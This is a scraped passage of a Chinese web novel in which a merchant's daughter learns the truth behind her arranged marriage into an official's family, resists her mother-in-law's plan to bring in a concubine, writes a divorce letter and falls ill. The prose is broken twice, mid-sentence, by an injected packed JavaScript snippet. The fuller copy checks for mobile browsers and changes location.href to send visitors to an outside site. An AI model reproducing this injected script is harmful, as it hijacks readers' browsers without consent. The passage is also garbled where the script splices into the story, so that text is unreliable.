“常言道,强扭的瓜不甜。再者,沈家是何等的高门显贵,就算你如愿嫁过去,难保他们日后不会想方设法蹉跎你以泄仇恨。咱家不过一介商贾,哪里斗得过官老爷。因此,母亲做主把信物、婚书,以及一封悔过书寄到永平城,试图挽回这场天大的错误。” “却没想到,沈大人竟肯认下这门亲,回信中说,沈家并非忘恩负义之辈。紧接着,你与他通信多年的事情被捅破。两厢加在一起,父亲母亲便认为你们之间多少有些情分,干脆顺水推舟,只当成全你了。” 话至此处,靳子骞倏然住嘴。 只因靳连珠早已泪流满面。 她分明痛苦不已,背脊打着抖,如寒风中瑟瑟飘落的枯叶,却强撑着不肯啜泣一声,始终维持着身为沈家大娘子的体面。 为着能与沈敬行相守,靳连珠付出的太多,数都数不清了。这套刻入骨髓的规矩礼仪算是其中最不值当拿出来说道,也是最折磨人的存在。 靳子骞摸了摸袖子,发现自己出来的匆忙,忘记带干净的帕子,只得收敛动作,干巴巴地询问:“路行此处,你作何打算?” 顿了一顿,他补充:“依照二老的意思,不愿你继续蹉跎光阴。不如和离,随我一道归家。天下之大,何愁寻不到一个好郎君。” 实在不行,就招赘。 原本靳家收养他也是为着这一层。 但这话被靳子骞死死压在心底不敢言。 担心靳连珠哭得背过气去,靳子骞倒上一杯茶水递过去,听见她打着哭嗝,问:“兄长这趟不为生意,是听从二老的吩咐带我回家的?” 靳子骞缓缓摇头:“行商中途收到母亲的来信,方得知当年真相。” 靳连珠被泪水蒙住视野,看什么都迷迷蒙蒙的,脑袋却罕见的清晰起来,当即从他话中捕捉到蛛丝马迹,追问:“你们既然打算瞒着我,怎么又在这个节骨眼上发作起来了?” “二老之所以闭口不言当年,是以为沈家肯认下这桩婚,就意味着不计较曾经的事了。再者,你已经嫁人,得跟官人好好过日子,往后生个一儿半女,所有的就都翻篇了。并非存心瞒着你。” 靳子骞掀起眼皮子瞭她一眼,长长叹出一口气,总算肯道出真正的原因。 靳老爷子这些年走南闯北结识不少人,行商者有之、行伍者有之、闯荡江湖者有之。 他素有侠肝义胆,路见不平自然要帮一帮,恰巧救下一位身负重伤的侠客,得知他是被仇家追杀至此,便慷慨让他暂居庄上养伤。 后来两人聊得投机,相约于深夜饮酒,待对方醉的神志不清了,靳老爷子这才从他口中偶然得知,前几年他过得贫穷潦倒,为着一笔不菲的银钱,昧着良心接下一单刺杀的生意。 可到了山坡上,远远瞧见一个娇娇怯怯的新娘满心欢喜要入皇城嫁给如意郎君。他到底不愿意干那等有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一开口,嗓音嘶哑难以入耳:“虽是一笔旧时的糊涂账,但最后也不能稀里糊涂的算了。其中桩桩件件,都得当面算清楚。” 否则,拖泥带水的,永远不清净。 靳子骞知道靳连珠拿定主意了,心中大喜,立即表示:“我随你一同去。” 这便是打着给她撑腰的念头。 靳连珠却婉拒:“兄长信我一回。我的事,自己有能力处理好。” 靳子骞借着房内微弱的光细细打量她,只觉得曾经那个无忧无虑的小姑娘已经不在了。她眼底波澜不惊,一片死寂,使得他悲从中来。 沉默半晌,靳子骞让步:“成。” 但他到底不放心让她只身回到沈府那等虎狼之地,切切叮嘱:“遇事别一个人强撑着,及时差下人来报。” 靳连珠饮罢那盏凉透的茶水,定了定心神,嗓音发沉:“嗯。” - 这场春雨来得始料未及,温度降下不少,过午之后冷得仿佛又入冬了。 马车轱辘吱呀吱呀转悠,徐徐停至沈府侧门,靳连珠推开车门现身,紧接着便瞥见候在一侧的周妈妈。 这回不出意外,又是替老夫人传话来了。 依旧是那套说辞:“有贵客到访,大娘子理应去见一见。” 靳连珠推诿说:“天儿太冷了,妈妈容我先回屋换一件厚衣裳。” 周妈妈早就料到这一出,向身后的女婢使个眼色。 人儿立即拿着斗篷上前。 与此同时,不知道从哪个犄角旮旯里冒出来的小厮们挡住白芍、白芷,连同要入院的拂冬也一并拦下。这阵仗,像是要把靳连珠绑起来发卖了。 不待靳连珠反应,女婢动作利索地系上带子,又迅速退至一旁。 周妈妈躬身抬手,言辞却听不出有多么恭敬:“大娘子,请吧。” 没法子,靳连珠只得跟上去。 到达碧波轩内,客人只有绥武府的刘夫人和陪伴在侧的一个老妈子。 葛氏端坐于上首,拉着吴元意的手轻拍,眼角眉梢挂着笑,看样子满意的不得了。瞅见靳连珠进屋,竟也难得给了个好脸色。 而吴元意头上戴着靳连珠赠予的攒珠钗,衬得她更加娇妍可人。见着靳连珠,她连忙起身行礼,唤了一声:“大娘子。” 到如今,靳连珠再参不破后续要发生的事情便是蠢得了。 一想自己素来对婆母毕恭毕敬,晨昏定省从未怠慢,更为内宅庶务耗费心血,到头来却落得这么一个结果,心下不禁凉了一片,唇边泛起苦笑。 不比上回全程被忽视的情况,这次葛氏主动唤她到近前,口吻和蔼可亲,假模假样的嘘寒问暖一番。 因着先头在靳子骞那儿听来的真相,靳连珠方知葛氏已经恨她入骨,恨不得除之后快。 一见到葛氏装得慈母样子,顿时遍体生寒,连装样子笑一笑都不能够了,垂着眉、耷着眼,一声不吭,一动不动。 只觉得满屋子皆为吃人不吐骨头的牛鬼蛇神,压得她快喘不上气。 索性,老夫人也不需要她给予什么反馈。 这事已经板上钉钉,叫靳连珠过来无非是走个过场。 葛氏干脆不再理她,转头同刘夫人聊起来,言下之意是让吴元意今夜宿在府上,待明儿沈敬行归家,即刻让二人过完纳妾文书和礼节。 刘夫人自然乐意,但表面免不了矜持一阵。 周妈妈个人精儿,赶忙表示:“弋云轩已经收拾干净了,一应物件都是齐全的,必不会让二姑娘住着不畅快。那地方朝向极佳,冬暖夏凉,院子也够大,距离家主的书房不过几步路的事儿……” 说到这儿,吴元意以帕子捂脸,作娇羞状。 周妈妈作懊悔状,轻拍两下嘴皮子,歉疚道:“奴婢失礼。” 两位老夫人却喜极这份“失礼”,对视一笑,许多意味皆在不言中。念及沈家的诚意,刘夫人也不再假客套,又与葛氏寒暄一阵,借口天色不早便告辞。 经过靳连珠身边时,刘夫人似乎才想起堂上还有这么一个活人,象征性说句话:“元意性子内敛,不善言辞,还望大娘子多多照拂。” “自然。” 靳连珠看着挺乖顺的女子,一开口,反倒让屋内的人都变了脸色。 “隔壁院还住着一位表姑娘,与元意姑娘年岁相仿,想来彼此之间应有不少话题。反正只今夜一晚,不如让两个姑娘住在一处,闲时也能说说话、解解闷。” “至于弋云轩那头,纵使官人不在,也不好让一个未出阁的小姑娘住过去,万一传出甚么风言风语,到底对元意姑娘不妥。” 21. 第二十一回 此言一出,哪还有什么不明白的。 纳妾是葛氏的想法,大娘子被蒙在鼓里,现下表态不乐意了,甚至被关在贡院明儿才归来的家主都不指定晓得。 否则,哪有媳妇敢当堂反驳长辈。 原本,纳妾算不得什么大事,得到长辈首肯便也算数,可刘夫人一想到这些日子的奔波,葛氏在面前许下的承诺,竟全是唬人玩的。 她也不是那种非要搅和人家夫妻感情的恶人,顿时觉得面上无光,怒由心生。 念及两家日后还要往来,才没当即发作脾气,只硬着头皮冷哼一声,瞅着上方同样错愕的葛氏挖苦道:“老姐姐年轻时也是个响当当的人物,没成想,上了岁数之后竟连内宅之事都做不了主了。你这儿媳如此能干,当真娶的值。” 随即向身旁的婆子使眼色。 后者一把拽过依依不舍的吴元意。 一行人拂袖而去。 徒留满室寂静,以及气狠了导致眼冒金星、脚步悬浮的葛氏。 周妈妈见状急匆匆上前搀扶,耳畔陡然乍开一声暴跳如雷的怒吼:“跪下!” 靳连珠身子轻微地晃了晃,掀开脏污的裙摆,缓缓跪地。 远看去,弱不经风的蒲柳姿,雪白小脸,五官精致到像是巧手师傅捏出来的,浑似个无辜雪兔子,实则是个满肚算计的妖精。 葛氏恨得牙痒痒,悔极了自己当初因为沈敬行顾忌太多,一时不察,放这么一个祸害门户的狐狸进入内宅。 偏偏官府档子上留了一笔,坐实靳连珠乃沈氏明媒正娶的妻,轻易打发不得,否则也轮不着煞费苦心找一个良妾跟她制衡。 可任由靳连珠有翻天覆地的本事,亦绕不开道德伦理这一条。 她想霸占着内宅,攀附一家之主,企图飞跃枝头变凤凰,却忘了沈氏真正握着内宅命脉的另有其人。 葛氏寒了眼色,平复一番心绪,不疾不徐道:“从前倒看不出你这般有胆识,竟敢当众驳长辈的面子。寻常官宦人家少不得有个妾,帮衬大娘子料理内宅事务、服侍家主,没成想你竟善妒至此,连一个良妾都容不下。” 靳连珠耷拉着眼皮,缄默不语。 自从知晓那些陈年旧事,她便清楚自个儿跟沈敬行的缘分到头了,本该摊开跟葛氏一五一十讲明白,但怕得久了,腰杆儿哪有那么容易挺直。 面对盛怒之下的葛氏,她仍止不住打颤。 葛氏见靳连珠跪在地上,垂着脑袋不言不语,净装作鹌鹑样儿,只待她那软耳根的儿子归来,摇身一变就成了蛊惑人心的精怪,搅得他们母子离心,让内宅不得安生,恶意更甚。 当下便想趁着沈敬行不在,直接把碍眼的速速处理了。 葛氏手段强硬,做事从不给人留退路,一开口,直往靳连珠心窝处捅刀子:“既把话说到这份上,我也不必再有所顾忌给你留脸面。我且问你,你成天找借口往外跑,究竟是不是为了见你那位从淮州而来的义兄?” “他到底同你没有血缘关系,又常年在外经商,兄妹感情自然算不上多么深厚。真把他当作娘家人,就该客客气气请入府中用顿饭,而非隔三差五的约在外头见面。你既为人妇,须知私会外男是什么罪过。” 靳连珠霍得抬起头,瞳孔震颤不已:“我与义兄清清白白,婆母凭何冤我?!” 葛氏扯唇:“有事无事,你自个儿心里头清楚。” 靳连珠看透葛氏眼底藏不住的杀念,心下有惊有怕,寒凉更甚。 成亲近两载,她尽心尽力地侍奉婆母,操持内宅大小事务,耗干心血挖空身子,临到头来却换得这样一个结果。 可旧事重提,谁才是真正的罪魁祸首? 双亲为她的终身算计。 葛氏为独子的前程谋划。 沈敬行本跟父母下江南游玩,只因与她的几面之缘,却被以终身大事作要挟。他非但不怨恨,还愿意遵守承诺娶她过门,行事堪称光明磊落。 站在他们的立场之上考虑,竟然都无辜。 追根溯源,真正有错的人有且只有她。 对不该妄想的人产生念头,仗着年少胡搅蛮缠,不达目的不罢休,无端惹起后续许多祸事。而今落得这般下场又怎不算天道好轮回。 但一码归一码。 从前犯下的错她会认、会尽力弥补,没道理被莫须有的罪名给冤死。 靳连珠抬起头,一双眼半含云雾,声娇但犟:“义兄到永平城仅为着生意,前两回我们在茶楼偶然遇见,闲谈家常,官人都知晓且在场。今日这回的确为我主动相邀,却并非婆母想得那般不堪。” 顿了一顿,她阖眼,咬牙坦白:“只为向义兄问清楚,当年家父与公公相商两家婚约的真相。” 一声落,葛氏面上的错愕一闪而过。 未曾料想到靳连珠对那些纠葛竟然全然不知,当真是捧着一颗灼热心欢欢喜喜嫁入门,稀里糊涂坐上沈家大娘子的位子。 靳氏夫妇满腹算计,坑害沈敬行的婚事,让她多年经营全成幻梦一场,反倒把自己女儿保护的如同高山雪莲一般纯洁无瑕。 想到这一层,葛氏不免更加怨恨,强忍着不快道:“你都知道了,作何打算?” 嘴上这么问,心底想得却是,识相的就该自请下堂,这样一来也能省去诸多麻烦,如若靳连珠敢厚着脸皮继续赖在沈敬行身边,便休怪她心狠手辣。 屋内静得落针可闻。 靳连珠跪得太久,膝盖又疼又酸,地板的凉意透过皮肉一点点钻入骨血,蔓延至四肢百骸。 她身子太弱,受不得冷,年前挨罚在祠堂跪一夜,紧接着害一场大病,经受不少罪。偏偏,坐在上首的人是葛氏。 哪怕以后不再做婆媳,葛氏也是靳连珠招惹不起的人物,更遑论如今一切尘埃未定,稍有不慎坏了规矩,惹得葛氏恼怒,给自己徒增波折。得不偿失。 靳连珠忍耐着双腿的不适,浅浅抒出一口气:“我会与官人讲清楚。” 模棱两可的回复,葛氏极不满意,索性也不再跟她兜圈子,直戳了当说:“你自请下堂,这事就还有转圜的余地。” 靳连珠表情空茫,跪久了身躯都变得僵硬,仿佛被掏干净魂魄的傀儡,仅余下一具精美的皮囊。 沉默良久,久到葛氏将要耗尽耐心,总算听见堂下传来声如蚊蝇般的轻叹:“恕我无法答应。” “放肆!”葛氏被一个晚辈接连反驳,面子过不去另说,怒意更甚。蓦地一掌拍到桌面,轰得一声巨响,震得人耳朵发麻。 靳连珠肩膀细微颤抖起来,昏聩的脑袋反倒逐渐清明,直面迎上葛氏的盛怒,不卑不亢道:“这桩婚事乃靳氏过错,可当初家母把订亲信物、婚书一并还回来,想趁着大错铸成之前挽回局面,沈家不也没收,还主动认下这门婚事吗。论起来,靳氏有错,沈家又如何称得上无辜。” “好一个伶牙俐齿的人儿,当着老祖宗的面儿就敢泼脏水。” 葛氏原本存着一丝善念,左右她只想把靳连珠撵走,逼她自请下堂不成,退一步,和离便和离,能达成目的就足够了。 可靳连珠偏要自个儿往死路上走,那么,就怪不得她心狠手辣。 葛氏向周妈妈递个眼色。 后者心领神会,匆匆进入内室,取出一只巴掌大小的匣子。 周妈妈打开盖子,皱巴巴的信笺一股脑儿全倒在她面前,连同六年间一颗怀春的少女心被撕扯的稀巴烂,血淋淋的铺展在众人面前。 葛氏眼底闪着阴森的光,咬牙切齿道:“你家当年肯帮忙购药救命,我家也并非那等忘恩负义的虎狼之辈,老家主打算着帮一把,让你爹的生意做到永平城来,背靠沈氏,往后自然有享之不尽的钱财。” “可你,偏偏把主意打到行儿的头上。” “依照你的出身,原本一辈子够不上沈家,做个妾已算抬举。可惜圣贤书把行儿教的太刚直,既知两家有诺便非得遵守,还要给你正妻的位置。” “我原本不同意,顾及他初入官场,家中又无长辈可撑腰的窘迫形势,生怕来日闹出个什么绯闻有害他的仕途,就算心里头滴着血也得应下。” “他这么做,葬送的何止一人的幸福,更是把沈家接着往上走的路给截断了,合族耆老的期许和我这些年的苦心栽培全成大梦一场空。” “而这一切,就为着你和你家的私心。” 老家主故去之后,葛氏咬牙承接下重担,把全部的希冀都寄托到沈敬行身上,眼瞅着他长大成人,前途一片光明,来日同个贵女结亲,也可为沈家谋个助力。临了,为着一个女人,全部的算盘都落空了。 沈敬行满腹学问与才华却只能憋屈在工部,沈家仍旧是风雨飘摇的状态,待百年之后,沈家能否屹立于皇城中都是个未知数。 此乃葛氏的心病,沉积多年,一朝发作,逼得她再也顾不上体面礼教,恨不得掐死靳连珠这个妖精以解心头之恨。 周妈妈见她气得厉害,身子骨抖如筛糠,赶忙上前轻拍后背顺气。 葛氏拂开周妈妈,端着烛台颤巍巍迈下来,直接投入信笺之中,火舌徐徐燎过纸张。 上头承载的沉重情丝悉数化为烟灰,呛得靳连珠口鼻发酸,泪水逐渐漫上来。她想阻拦,身子却动弹不得,眼睁睁看着那一摊灰烬,木讷发问:“官人他,可晓得我寄来的这些信笺?” 葛氏睥睨着她,寒声:“自然。” 非但会看,还当成宝贝似地藏起来。亏得她安排在书房的人及时发觉,否则还参不破他背地里藏着这么深的心思。 可这些,葛氏决计不会如实告知。 靳连珠心不死,这一切就没完没了了。 葛氏看向周妈妈,示意她替自个儿开口。 得到准许,周妈妈的胆子也大起来。她温声细语的,端的一副长辈的慈祥模样,出口的话却如一把把锋利的刀刃,毫不留情地戳着靳连珠的心房。 “家主起初会看,看完便差使下人送至碧波轩,交由老夫人处置。后来,家主工部事多,常常不住在府上,从淮州寄来的信笺便只由老夫人管着了。” 靳连珠如同遭受晴天霹雳一般,强撑的气力霎时间泄的一干二净,身子不稳当地晃悠,险些被窜起的火苗燎到一张精致小脸。 只因她清楚,周妈妈没说谎的必要。 前因后果串联起来,靳连珠不难明白,为什么沈敬行待她忽冷忽热的。 原来,他当真不是为着情爱娶她。 可得知真相,她却连恨他都做不到。 站在沈敬行的立场,他已然遵守承诺,迎娶一个自己并不喜爱的女子,给予她大娘子的身份、体面,她又怎能贪得无厌。 假使两人和离,像他这样循规蹈矩的儿郎,以后不管哪家姑娘做他的大娘子,就算彼此之间没有感情,他也会尽力做好丈夫的本分,该给的一样都不缺,绝对不会亏待另一半。 对他而言,她本就不特殊。 周妈妈上前搀扶她,絮絮叨叨地:“娘子是个明白人儿,不愿自请下堂,和离也是行的。” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163178|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去是为着她考虑,实则是暗中威胁。 若她识相,就该赶紧应了。 靳连珠跪得太久,起身时异常艰难,双腿颤巍巍,上下牙打着磕绊,哆嗦出一句:“我要等官人归来,当面同他讲。” 这下不止葛氏不爽快,周妈妈的面色也变了,咬牙道:“娘子何苦呢。” 靳连珠晓得老夫人担忧什么,无非是怕她贪恋沈家,死活赖着不肯走。 可她当初朝思梦想成为沈敬行的娘子,本就不为钱不为权,只为着“一生一世一双人”的誓言罢了。 如今得知自己所求的东西压根儿不存在,还无端给他招惹许多麻烦,她已然断绝昔日缠绵悱恻的念想,只想离开这个并不属于她的地方。 靳连珠泪眼涟涟,一出声,态度陡然发生转变。 “老夫人口口声声说我家亏欠,但没有当年家父重金购来的药材,官人也活不到此时,沈家绝后,更没有来日可言。” “要说弥补,我过门之后不曾有过一天清闲日子,官人同我,也不大亲近……”靳连珠鼻子一酸,险些落泪。 她徐徐吐出一口气,平复情绪之后再度开腔:“来的路上,我险些死一回,年前大病一场险些死一回,这两次死里逃生都因为沈家,不论怎么算,两家的恩怨都得平了罢。” 有恩有恨。 因果轮回。 局面尚且没闹到无法收场的地步,一笔笔旧账,拆开算清,此后天高水远,各有各的前途际遇,死生不复再见。 可是,可是…… 她虚度的光阴,错付的感情,经历的磨难,究竟该算到哪个的头上。 葛氏只留意到她其中的某一句,霎时警惕起来:“你威胁我。” 靳连珠缓缓摇头:“就算老夫人不提,我原也打算和离。可叹我糊涂这些年,无知无觉中犯下许多错,临了想清醒一回,还望老夫人成全。” 屋内陷入一片死寂。 纸张已经燃尽,边缘闪着星点火光,很快就湮灭了。 烟雾滚滚,呛得人心烦意乱。 葛氏阖眼,心底盘算着,待沈敬行归家得知纳妾一事,绝对会到碧波轩闹。而靳连珠一走,内宅清净,便没必要再纳妾了。因这点小事弄得母子关系不睦,实在不值当的,不如留个转圜的余地。 她心一定,掀起眼皮注视着下方的女子,施舍道:“允。” - 这场春雨轰轰烈烈地下,雷电交加,大有排山倒海之势。 靳连珠思绪繁杂,实在睡不着。她的泪水都流干了,眼眶酸涩胀痛,心如死灰,抱着木匣子呆坐半晌,忽唤白芷入内,吩咐她把火盆移到床榻边。 白芷以为她凉,前去关窗的功夫,回头便看见靳连珠把匣子里的信笺悉数倒入盆中,火烧得太快,眨眼间便只剩烟灰,救都救不得。 “唉呀——” 白芷吓一跳:“您这是作甚。” 这里头可都是家主写给娘子的信呐,娘子素来当作宝贝似的保存着,成亲之后也经常拿出来翻一翻。 怎么、怎么就全烧了呢。 窜起的火光倒映在靳连珠脸上,照出她满眼的倦怠和神伤,哑声喃喃:“以前我误以为这些信笺承载着一个人的真心,故而说是千金都买不到的宝贝,但此后便不是了。” 整整六年,沈敬行写给她的信竟然不及她寄给他的三分之一,薄薄几页纸,连匣子的一半都填不满。 这便是他对她所有的情感了。 被情爱迷住双眼的时候,靳连珠觉得他写下的三言两语都充斥着缠绵悱恻,如今再一瞧,不过满纸敷衍。 前尘往事不堪追忆,弄得她心里头冷的厉害,干脆连那只用来装信笺的匣子一并丢入火盆。 火苗抖索几下,立即汹汹燃烧起来,木料烧灼的臭味满布整间屋子。 靳连珠却仿佛闻不到,说:“备纸笔,磨墨。” 白芷迟疑:“天色已晚,光线昏暗对娘子的眼睛不好,不如明儿再写?” 靳连珠坚决:“那便多点几盏灯。” 见状,白芷不好再劝,默默去准备。 天光逐渐亮起,雨势减小,靳连珠折腾的精疲力尽,写完和离书之后上榻休憩。 没一会,人就烧起来了,身子滚烫,脸颊通红,神智也不清醒,满嘴胡话,最后没气力了,便一直低低吟着沈敬行的名儿。 宛如杜鹃泣血。 教人不忍听。 白芷打来水,一遍又一遍的给靳连珠擦身子,可惜收效甚微。 白芍则狂奔往别苑请严良平。 雨水将石阶冲刷的光滑锃亮,白芍着急忙慌中没注意脚边的苔藓,不小心踩上去,身子不住的晃荡,幸而有人及时伸出援手搀住她,抬头一瞧,竟是敛秋。 几步之外,沈敬行一袭官袍,负手立于伞下。 雨幕细细密密,薄雾弥漫,他的相貌模糊不清,整个人像极了一座冰冷的雕像。声淡且富有威严:“府内不可疾行,你的规矩都学哪儿去了。” 纵使胆子抖落起来的时候也在背后嘀咕过几次“家主配不上娘子”的狂悖之语,但真正瞧见沈敬行,白芍照样怕得要命,膝盖一软,噗通跪倒在地,砸出一片水花。 猝不及防的整这么一出,给敛秋吓得一惊,赶紧撑着伞罩住她,单手想把她扶起来,安抚道:“白芍姑娘莫怕,家主没有责罚你的意思。” 孰料,白芍唰得淌下两行热泪,呜呜咽咽地道:“家主,娘子她烧得神志不清了,您快去瞧瞧罢。” 22. 第二十二回 沈敬行拧眉:“起来回话。” 白芍刚刚磕得不轻,膝盖又疼又麻,隐约感觉一汩汩热流顺着膝头滚落,但眼下事态紧急,她顾不上自己的身体,借着敛秋的力慢腾腾站起来,语气焦急万分:“从前娘子感染风寒的时候不是没发过热,症状如此严重还是头一回,眨眼的功夫,人就开始说胡话了。” 闻言,沈敬行声量更沉:“请府医看过没有?” “奴婢正打算……” “敛秋,你去。” 沈敬行看出她膝盖受伤,行动不利索,恐耽误正经事,干脆唤敛秋前往。 敛秋得令,把伞往白芍掌心一塞,脚底抹油似地跑远了。 沈敬行周身的气压降至冰点,方才说过府内不得疾行,这会子关心则乱,他也顾不上许多,大步流星的前往雅韵轩。 撑伞的小厮紧赶慢赶着也够不着他,等到地方,沈敬行官袍已经湿透。 素来周正喜洁的人,现下鞋底沾满泥泞,一缕湿漉漉的发丝垂至脑后,满脸疲态。俨然连持重二字都顾不及了。 沈敬行火急火燎地闯入门,这才想起自己满身寒气,不宜靠近病人。脚步堪堪停在垂落的纱幔之外,眺望里头绰约人影,询问:“大娘子醒没?” 白芷端着凉掉的水和帕子出来,眼眶红红的,福身道:“中间醒过一回,喝完水又睡着了。” “还烧着?” “是。” 沈敬行盯着她,眸色森然,声音里带着愠怒:“我不在府上的时候,你们便是这般伺候主子的?!” 他固然冷漠,待雅韵轩的下人们却称得上十分温和,此刻动起怒来,眉宇间冷峭的感觉愈发强烈,屋内的仆从们犹如置身冰窖,齐刷刷跪一地,个个儿耷拉着脑袋,噤若寒蝉。 院儿里传来一阵急促的脚步声,严良平一进屋子便看见这场面,不由得绷紧心弦,躬身正欲行礼,沈敬行及时制止,示意白芍带他入内给大娘子看诊。 眼下不是追责的时机,沈敬行遣散仆从,只留靳连珠惯用的几个女婢在屋外候着,兀自在火盆旁边转悠几遭,待身子热乎起来才走入内间。 床幔散落,把榻上的人儿遮得严严实实,仅一截葱白似的小臂垂落在外。 严良平隔着锦帕把脉,面色逐渐肃穆,随即返回桌前执笔写药方。 甫一转头,意外瞧见压在砚台下面的信封,切切写着“和离书”三个大字。严良平心惊肉跳,仿佛窥见什么了不得的辛秘,头皮一阵阵发麻。 深呼吸调整心绪,他速速写完最后一味药材。 白芍妥帖收下方子,急奔出门。 沈敬行挂念靳连珠,正欲拉开床幔查看她的情况,忽又收回手,转到外间打算问问严良平看诊的结果,不曾想,开口之前先瞥见桌上的信封。 他表情凝滞,眼底翻滚的阴霾转瞬即逝,快到仿佛是他人恍惚间产生的错觉。再一眨眼,他又变成那位清风霁月的沈尚书。 唯恐惊扰到靳连珠的美梦,沈敬行刻意压低声量:“情况如何?” 严良平眼观鼻鼻观心,全当没看见过那封信,据实道:“一则是夫人体弱受不得寒,二则是多思多虑所致。” “严重与否?” “所幸症状发作的早,退热的汤药服下去便可好转。” 严良平只字不提靳连珠心头的病,沈敬行却也能明白。 他沉思片刻,唤敛秋带严良平下去领赏银,旋即把信封从砚台下抽出来,看也不看一眼,直接丢入火盆,仿佛是个不足为道的东西。接着跨步迈出门槛,沉声唤白芷上前回话。 - 情仇爱恨,在梦里过一遭,悠然转醒的时候彷如又是一辈子。 靳连珠迷迷糊糊的,根本不清楚自己睡过多久,眼睛还未睁开,最先察觉到骨头缝里泛着疼。 她难耐地哼哼一声,这下嗓子也开始不适。 靳连珠病中难免矫情一些,立即皱紧眉,裹着被子翻个身,伸长胳膊去摸小几上的茶杯,想喝口水润润嗓再唤人伺候。 岂料,竟直接撞入温热的胸膛。 腰肢儿被强劲有力的大掌托起,唇边抵住冰凉的什么东西。 靳连珠砸吧砸吧嘴,温热的液体顺着唇缝淌入齿间,小舌一卷,泛着淡苦的茶水尽数吞入腹中。 咕嘟咕嘟两杯饮完,那股子要命的饥渴劲儿得以缓解。 靳连珠徐徐睁开双眼,果然瞧见近在咫尺的一张俊秀面庞。 深更半夜的,屋内没点灯。 沈敬行藏于暗处,隐约可见大致轮廓,一切都显得如此虚幻,唯有靳连珠耳畔不停鼓动的心跳声昭示着现实。 不知是病糊涂了,亦或是条件反射,她竟然暂时忘却那些纠葛,抬起手轻轻碰一碰他皮肤,温热干燥,便理所当然的认为他回来没多久。 “现在是什么时辰了?” 她还病着,说话没力气,声线沙沙的、低低的,小猫爪子一样挠人。 沈敬行放回茶盏,翻身上榻,拉高被子裹住两人,双臂自腋下环过靳连珠,双手交叠搭在她后腰上,以全然占据的姿态,面对面拥着她。 这样密不透风的拥抱导致靳连珠很不适,稍稍挪动身子,试图拉开距离喘口气,却被沈敬行误认为她要挣脱,因而用的力道更大,下颚顺势抵住她头顶,呼吸沉沉:“寅时三刻。” 靳连珠错愕:“我昏睡了一整日?” 沈敬行微顿,纠正道:“今日是第四日。” “……” 靳连珠一时之间难免神思恍然,心头泛起无尽的怅然,弱弱地哦一声:“那,想必你已知晓了。” 问的是和离那档子事,沈敬行注意到的却只有,她竟连官人都不叫了。 他眼睫颤了颤,掩去那抹失落,避重就轻道:“我并未允诺母亲物色良妾,吴家那边我亲去回绝了,也跟母亲讲明,以后不会再有这样的事。” “哦。”有气无力的回复。 沈敬行稍松怀抱,低头借着微弱的光瞅她面色,试量着说:“我着人物色几座宅子,待你痊愈之后过去瞧一瞧。如若合意,咱们便搬去那边住。” 靳连珠诧异:“你要分家?” “嗯。”沈敬行掖紧被角,口吻淡淡,仿佛天大的事放在他这里也有势必做成的信心。 可靳连珠门儿清,高堂在座却执意携妻分家,传出去免不了落得个不孝的罪名。他作为沈家目前最大的指望,长辈们决计不会放他走。 这事说出口容易,做起来极难。 更何况…… 沈敬行不是个会为儿女情长割舍家族责任的人。左右是想哄着她把病养好,别再跟他闹腾,扰他清净罢了。 若放在以往,靳连珠定然喜出望外,认定沈敬行情深至此,甚至因为自个儿萌生出对抗家族的勇气。 她惯来对他心软,或许念着夫妻患难与共那则道理,真的愿意退让一步迎妾入门,以成全他们的母亲情分。事后还宽慰自个儿,只要他的心一直在她这儿就成。 如今再一想想,只觉得这种自我感动的作派傻的要命。 靳连珠自嘲地笑笑:“用不着做到这份上。” 这反应与沈敬行设想的截然相反。 他眉间蹙起:“为何?” 靳连珠扭着身子试图挣脱束缚。可惜沈敬行看着文弱,实则力道极足,让她无法得逞。 靳连珠闷闷地:“你且松开。” 沈敬行不依,仍是那句:“为何?” 靳连珠拗不过,照实说:“老夫人如此着急的让你纳妾,无非是想以吴家姑娘作筏子,日后方便牵制我在内宅掌事,也让你慢慢的转移心思,不再到雅韵轩来,好彻底架空我这个大娘子。” “试想,一个后半辈子都要在内宅讨生活的妇人,本就没有强大的娘家做支撑,膝下无子,失权又失宠,当真是生不如死的。” “生不如死”这四个字可谓往沈敬行心口狠狠捅入一把利刃,霎时间,血流如注。 他冷下脸,满腹的气闷和心疼舍不得对她发作,说出口便成一句教导意味极浓的话:“你不必这般揣度我,我绝非那等为色所迷,犯下宠妾灭妻过错的人。” “……” 靳连珠吐露出恁多肺腑之言,全然没想到他只注意到这无足轻重的一点。她一时无言,兀自沉默着。 沈敬行会错意,以为她不出声代表听进心里去了,自顾自:“上回提及纳妾一事,我已与你讲清楚其中的利害关系。” 他当真对旁人无意,不管当前还是以后,内宅有且仅有她一人。决计不会招揽其他女子,给她徒增烦忧。 语毕,沈敬行把头埋的更低,用视线寻找靳连珠的眼睛,试图从中窥探出她真实的情绪。 可当四目相对之际,沈敬行却突兀的害怕起来。 靳连珠不再像往常那样眼珠亮晶晶地盯着他,而是很快别开脸,瞳孔中弥漫着散不开的雾,睨着漆黑中虚无的一点。 心想:原来他一直跟她讲得都是利害关系,而她却误以为这是男女情爱。她早该明白这个道理,在每一次因为他的疏远冷漠暗地里发疯的时候。 沈敬行见不得靳连珠不言不语的消极模样,捏住她下巴,略显强硬的把她的小脸转回来。 命令似地说:“有话直言。” 靳连珠抿了抿唇,轻道:“如若为着此事分家,你作为家主,又是老夫人的独子、沈家当前唯一的指望,他们自然不舍得指摘你甚么,只会把罪名一股脑推到我的身上。” “居心叵测,不贤不孝,无能无德,因为妒忌便离间婆母和官人的母子之情。这样一顶帽子压在头上,任凭我是宫里的主子娘娘都活不成。” 沈敬行体谅她多思多虑的性子,遂郑重保证:“我会把事情办妥,定不让你遭受非议。” 靳连珠讷讷反问:“嫁给你之后,我所受的编排、冷待还少吗?” “……” 不待沈敬行开口,她又问:“和离书,你看没有?” “……” 